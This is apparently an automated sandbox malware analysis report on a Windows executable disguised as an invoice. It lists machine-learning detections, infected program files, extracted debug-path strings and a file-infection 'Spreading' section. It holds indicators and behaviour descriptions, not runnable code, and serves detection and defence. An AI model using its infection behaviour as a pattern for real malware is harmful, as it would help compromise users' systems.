Windows Analysis Report
invoice_96.73.exe

AI detected suspicious sample

Source: Yara match	File source: 00000004.00000002.387515587.0000000000240000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.387578097.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\reader_sl.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\FullTrustNotifier.exe	Joe Sandbox ML: detected
Source: C:\MSOCache\All Users\{90140000-0115-0409-1000-0000000FF1CE}-C\DW20.EXE	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrServicesUpdater.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\wow_helper.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\LogTransport2.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Eula.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroTextExtractor.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AdobeCollabSync.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\32BitMAPIBroker.exe	Joe Sandbox ML: detected
Source: C:\MSOCache\All Users\{90140000-0115-0409-1000-0000000FF1CE}-C\dwtrig20.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Joe Sandbox ML: detected
Source: C:\MSOCache\All Users\{90140000-003D-0000-1000-0000000FF1CE}-C\setup.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\arh.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32Info.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe	Joe Sandbox ML: detected
Source: C:\MSOCache\All Users\{90140000-003D-0000-1000-0000000FF1CE}-C\ose.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\64BitMAPIBroker.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Chrome\Application\109.0.5414.120\elevation_service.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: invoice_96.73.exe

Joe Sandbox ML: detected

Source: invoice_96.73.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: C:\Windows\System32\msdtc.exe

File created: C:\Windows\DtcInstall.log

Infects executable files (exe, dll, sys, html)

Source:	Binary string: C:\work\p4\splinters\Splinters\S\BuildResults\bin\Win32\ReaderRelease\FullTrustNotifier\FullTrustNotifier.pdb77.GCTL source: armsvc.exe, 00000002.00000003.549948881.00000000015A0000.00000004.00001000.00020000.00000000.sdmp, FullTrustNotifier.exe.2.dr
Source:	Binary string: D:\DCB\CBT_Main\BuildResults\bin\Win32\Release\armsvc.pdb source: invoice_96.73.exe, 00000000.00000003.346461774.0000000002A90000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe.0.dr
Source:	Binary string: TextExtractor.pdb55. source: armsvc.exe, 00000002.00000003.528202244.00000000015A0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: msiexec.pdb source: armsvc.exe, 00000002.00000003.384565633.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.384370417.00000000020E0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\ktab_objs\ktab.pdb source: armsvc.exe, 00000002.00000003.469269296.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.470738958.0000000001BB0000.00000004.00001000.00020000.00000000.sdmp, ktab.exe.2.dr
Source:	Binary string: AcroBroker.pdb source: armsvc.exe, 00000002.00000003.494060398.0000000001520000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\klist_objs\klist.pdb source: armsvc.exe, 00000002.00000003.466271925.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.468672844.0000000001BB0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: vssvc.pdb source: armsvc.exe, 00000002.00000003.400446853.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.397705170.0000000002340000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ADelRCP_Exec.pdb source: armsvc.exe, 00000002.00000003.535376805.00000000015A0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: sppsvc.pdb source: armsvc.exe, 00000002.00000003.393285094.0000000002340000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\deploy\tmp\jp2launcher\obj64\jp2launcher.pdb source: armsvc.exe, 00000002.00000003.459702439.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: PresentationFontCache.pdb source: armsvc.exe, 00000002.00000003.377542137.0000000002040000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: WCChromeNativeMessagingHost.pdb88/ source: armsvc.exe, 00000002.00000003.543127259.00000000015A0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: msiexec.pdbE3 source: armsvc.exe, 00000002.00000003.384565633.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.384370417.00000000020E0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: aspnet_state.pdb source: invoice_96.73.exe, 00000000.00000003.353700920.00000000037C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: t:\dw\x86\ship\0\dwtrig20.pdb\ship\0\dwtrig20.exe\bbtopt\dwtrig20O.pdbTb source: armsvc.exe, 00000002.00000003.436668125.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\deploy\tmp\javacplexec\obj64\javacpl.pdb source: armsvc.exe, 00000002.00000003.453426244.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: invoice_96.73.exe, 00000000.00000003.350225262.0000000004220000.00000004.00001000.00020000.00000000.sdmp, invoice_96.73.exe, 00000000.00000003.353569093.0000000004380000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.382195696.0000000000710000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.387726638.0000000000A20000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.387726638.00000000008A0000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.381468216.0000000000450000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\deploy\jre-image\bin\javaws.pdb source: armsvc.exe, 00000002.00000003.456767187.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\servertool_objs\servertool.pdb source: armsvc.exe, 00000002.00000003.484334362.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.485863141.0000000001BB0000.00000004.00001000.00020000.00000000.sdmp, servertool.exe.2.dr
Source:	Binary string: FXSSVC.pdb source: armsvc.exe, 00000002.00000003.375221834.0000000002110000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.375401545.00000000020C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Perforce\FRMain\code\build\win\results\Release\info\arh.pdb source: armsvc.exe, 00000002.00000003.539704237.00000000015A0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: snmptrap.pdb@SH source: armsvc.exe, 00000002.00000003.391469846.0000000002030000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.391488401.0000000002040000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.392623971.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.391662820.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.391640685.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.392746098.0000000001CA0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.391569645.0000000002040000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.391549027.0000000002040000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.391679575.00000000020C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: WmiApSrv.pdbGCTL source: armsvc.exe, 00000002.00000003.410168312.00000000020C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ehSched.pdb source: armsvc.exe, 00000002.00000003.368828729.0000000002040000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mscorsvw.pdbD source: armsvc.exe, 00000002.00000003.356595540.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.356855501.00000000020D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: locator.pdb@SH source: armsvc.exe, 00000002.00000003.390348820.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.391373712.0000000001CA0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.390223997.0000000002040000.00000004.00001000.00020000.00000000.sdmp, Locator.exe.2.dr
Source:	Binary string: locator.pdb source: armsvc.exe, 00000002.00000003.390348820.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.391373712.0000000001CA0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.390223997.0000000002040000.00000004.00001000.00020000.00000000.sdmp, Locator.exe.2.dr
Source:	Binary string: Eula.pdb995 source: armsvc.exe, 00000002.00000003.546479748.00000000015A0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: msdtcexe.pdbE3 source: armsvc.exe, 00000002.00000003.383128547.0000000002040000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.383373251.0000000002040000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: AcroRd32Info.pdb''$ source: armsvc.exe, 00000002.00000003.525307374.0000000001520000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ALG.pdbH source: invoice_96.73.exe, 00000000.00000003.353143094.0000000002990000.00000004.00001000.00020000.00000000.sdmp, invoice_96.73.exe, 00000000.00000003.349561520.00000000037F0000.00000004.00001000.00020000.00000000.sdmp, invoice_96.73.exe, 00000000.00000003.349725788.0000000003690000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\jjs_objs\jjs.pdb source: armsvc.exe, 00000002.00000003.457782973.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.459238005.0000000001BB0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\javaw_objs\javaw.pdb source: armsvc.exe, 00000002.00000003.455163285.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: vds.pdb source: armsvc.exe, 00000002.00000003.397013643.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.396407942.0000000002340000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\pack200_objs\pack200.pdb source: armsvc.exe, 00000002.00000003.475333705.0000000001BB0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.473148665.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp, pack200.exe.2.dr
Source:	Binary string: FXSSVC.pdbH source: armsvc.exe, 00000002.00000003.375221834.0000000002110000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.375401545.00000000020C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ADelRCP_Exec.pdb"" source: armsvc.exe, 00000002.00000003.535376805.00000000015A0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wbengine.pdb source: armsvc.exe, 00000002.00000003.406707369.0000000002340000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.408514012.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, wbengine.exe.2.dr
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\deploy\tmp\ssvagent\obj64\ssvagent.pdb source: armsvc.exe, 00000002.00000003.486325519.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: RdrServicesUpdater.pdb source: armsvc.exe, 00000002.00000003.505647536.0000000001520000.00000004.00001000.00020000.00000000.sdmp, RdrServicesUpdater.exe.2.dr
Source:	Binary string: Reader_SL.pdb source: armsvc.exe, 00000002.00000003.562770680.00000000015A0000.00000004.00001000.00020000.00000000.sdmp, reader_sl.exe.2.dr
Source:	Binary string: dllhost.pdb source: armsvc.exe, 00000002.00000003.367049067.0000000001CA0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.365429187.0000000002040000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.366371363.0000000002040000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: 64BitMAPIBroker.pdb source: armsvc.exe, 00000002.00000003.560950448.00000000015A0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\DCB\CBT_Main\BuildResults\bin\Release\Plug_ins\pi_brokers\32BitMAPIBroker.pdb source: armsvc.exe, 00000002.00000003.557364709.00000000015A0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\tnameserv_objs\tnameserv.pdb source: armsvc.exe, 00000002.00000003.489549395.0000000001BB0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.487933840.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: WMPNetwk.pdb source: armsvc.exe, 00000002.00000003.417582553.0000000002340000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.418441175.00000000020C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: SearchIndexer.pdb source: armsvc.exe, 00000002.00000003.420532553.00000000020C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\kinit_objs\kinit.pdb source: armsvc.exe, 00000002.00000003.464557449.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.465983373.0000000001BB0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\unpackexe\unpack200.pdb source: armsvc.exe, 00000002.00000003.490456860.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp, unpack200.exe.2.dr
Source:	Binary string: chrome_wow_helper.pdb source: armsvc.exe, 00000002.00000003.573489148.0000000001520000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ieetwcollector.pdb source: armsvc.exe, 00000002.00000003.378562857.00000000020E0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.378697876.00000000020C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: AcroBroker.pdbsTT6 source: armsvc.exe, 00000002.00000003.494060398.0000000001520000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\rmiregistry_objs\rmiregistry.pdb source: armsvc.exe, 00000002.00000003.484025303.0000000001BB0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.482732897.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: WCChromeNativeMessagingHost.pdb source: armsvc.exe, 00000002.00000003.543127259.00000000015A0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: t:\delivery\x64\ship\0\ose.pdb source: armsvc.exe, 00000002.00000003.388508123.00000000020C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\work\p4\splinters\Splinters\S\BuildResults\bin\Win32\ReaderRelease\FullTrustNotifier\FullTrustNotifier.pdb source: armsvc.exe, 00000002.00000003.549948881.00000000015A0000.00000004.00001000.00020000.00000000.sdmp, FullTrustNotifier.exe.2.dr
Source:	Binary string: PerfHost.pdb source: armsvc.exe, 00000002.00000003.389231981.0000000002040000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.390086664.0000000001CA0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.389367971.00000000020C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: t:\dw\x86\ship\0\dw20.pdb\x86\ship\0\dw20.exe\bbtopt\dw20O.pdb] source: DW20.EXE.2.dr
Source:	Binary string: t:\dw\x86\ship\0\dw20.pdb source: armsvc.exe, 00000002.00000003.431900302.0000000002150000.00000004.00001000.00020000.00000000.sdmp, DW20.EXE.2.dr
Source:	Binary string: t:\dw\x86\ship\0\dw20.pdb\x86\ship\0\dw20.exe\bbtopt\dw20O.pdb source: armsvc.exe, 00000002.00000003.431900302.0000000002150000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: t:\dw\x86\ship\0\dwtrig20.pdb\ship\0\dwtrig20.exe\bbtopt\dwtrig20O.pdb source: armsvc.exe, 00000002.00000003.435805311.0000000002090000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\orbd_objs\orbd.pdb source: armsvc.exe, 00000002.00000003.471060222.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.472762066.0000000001BB0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: vds.pdbH source: armsvc.exe, 00000002.00000003.397013643.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.396407942.0000000002340000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: WmiApSrv.pdb source: armsvc.exe, 00000002.00000003.410168312.00000000020C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: t:\delivery\x64\ship\0\ose.pdby\x64\ship\0\ose.exe\bbtopt\oseO.pdb source: armsvc.exe, 00000002.00000003.388508123.00000000020C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wbengine.pdb@SH source: armsvc.exe, 00000002.00000003.406707369.0000000002340000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.408514012.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, wbengine.exe.2.dr
Source:	Binary string: ALG.pdb source: invoice_96.73.exe, 00000000.00000003.353143094.0000000002990000.00000004.00001000.00020000.00000000.sdmp, invoice_96.73.exe, 00000000.00000003.349561520.00000000037F0000.00000004.00001000.00020000.00000000.sdmp, invoice_96.73.exe, 00000000.00000003.349725788.0000000003690000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: \ship\0\dwtrig20.exe\bbtopt\dwtrig20O.pdb source: armsvc.exe, 00000002.00000003.435805311.0000000002090000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.436668125.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\jabswitch\jabswitch.pdb source: armsvc.exe, 00000002.00000003.444147951.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\DCB\CBT_Main\BuildResults\bin\Release\Plug_ins\pi_brokers\32BitMAPIBroker.pdb00 source: armsvc.exe, 00000002.00000003.557364709.00000000015A0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: msdtcexe.pdb source: armsvc.exe, 00000002.00000003.383128547.0000000002040000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.383373251.0000000002040000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\keytool_objs\keytool.pdb source: armsvc.exe, 00000002.00000003.461065533.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.464249013.0000000001BB0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: Eula.pdb source: armsvc.exe, 00000002.00000003.546479748.00000000015A0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\rmid_objs\rmid.pdb source: armsvc.exe, 00000002.00000003.482423318.0000000001BB0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.480866013.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: PresentationFontCache.pdbHt^t Pt_CorExeMainmscoree.dll source: armsvc.exe, 00000002.00000003.377542137.0000000002040000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: AcroRd32Info.pdb source: armsvc.exe, 00000002.00000003.525307374.0000000001520000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\java-rmi_objs\java-rmi.pdb source: armsvc.exe, 00000002.00000003.447269346.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.449170797.0000000001BB0000.00000004.00001000.00020000.00000000.sdmp, java-rmi.exe.2.dr
Source:	Binary string: mscorsvw.pdb source: armsvc.exe, 00000002.00000003.358919059.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.357934504.00000000020D0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.360197624.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.356595540.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.356855501.00000000020D0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.357840917.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.359130916.00000000020C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: Reader_SL.pdb..) source: armsvc.exe, 00000002.00000003.562770680.00000000015A0000.00000004.00001000.00020000.00000000.sdmp, reader_sl.exe.2.dr
Source:	Binary string: E:\r\ws\St_Make\code\build\win\results\FlashPlayerUpdateService\Release\Win32\FlashPlayerUpdateService.pdb source: invoice_96.73.exe, 00000000.00000003.347332988.0000000002A90000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\policytool_objs\policytool.pdb source: armsvc.exe, 00000002.00000003.480547768.0000000001BB0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.476508666.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: snmptrap.pdb source: armsvc.exe, 00000002.00000003.391469846.0000000002030000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.391488401.0000000002040000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.392623971.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.391662820.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.391640685.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.392746098.0000000001CA0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.391569645.0000000002040000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.391549027.0000000002040000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.391679575.00000000020C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: RdrServicesUpdater.pdb;; source: armsvc.exe, 00000002.00000003.505647536.0000000001520000.00000004.00001000.00020000.00000000.sdmp, RdrServicesUpdater.exe.2.dr
Source:	Binary string: t:\dw\x86\ship\0\dwtrig20.pdb source: armsvc.exe, 00000002.00000003.435805311.0000000002090000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.436668125.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: \x86\ship\0\dw20.exe\bbtopt\dw20O.pdb source: armsvc.exe, 00000002.00000003.431900302.0000000002150000.00000004.00001000.00020000.00000000.sdmp, DW20.EXE.2.dr
Source:	Binary string: ieetwcollector.pdbH source: armsvc.exe, 00000002.00000003.378562857.00000000020E0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.378697876.00000000020C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\obj-firefox\toolkit\components\maintenanceservice\maintenanceservice.pdb source: armsvc.exe, 00000002.00000003.382555464.00000000020C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\java_objs\java.pdb source: armsvc.exe, 00000002.00000003.449717212.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp, java.exe.2.dr
Source:	Binary string: TextExtractor.pdb source: armsvc.exe, 00000002.00000003.528202244.00000000015A0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ehRecvr.pdb source: armsvc.exe, 00000002.00000003.367743186.0000000002040000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: y\x64\ship\0\ose.exe\bbtopt\oseO.pdb source: armsvc.exe, 00000002.00000003.388508123.00000000020C0000.00000004.00001000.00020000.00000000.sdmp

Spreading

Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\arh.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\wbem\WmiApSrv.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\CCleaner\CCleaner64.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Java\jre1.8.0_121\bin\ssvagent.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AdobeCollabSync.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Jump to behavior
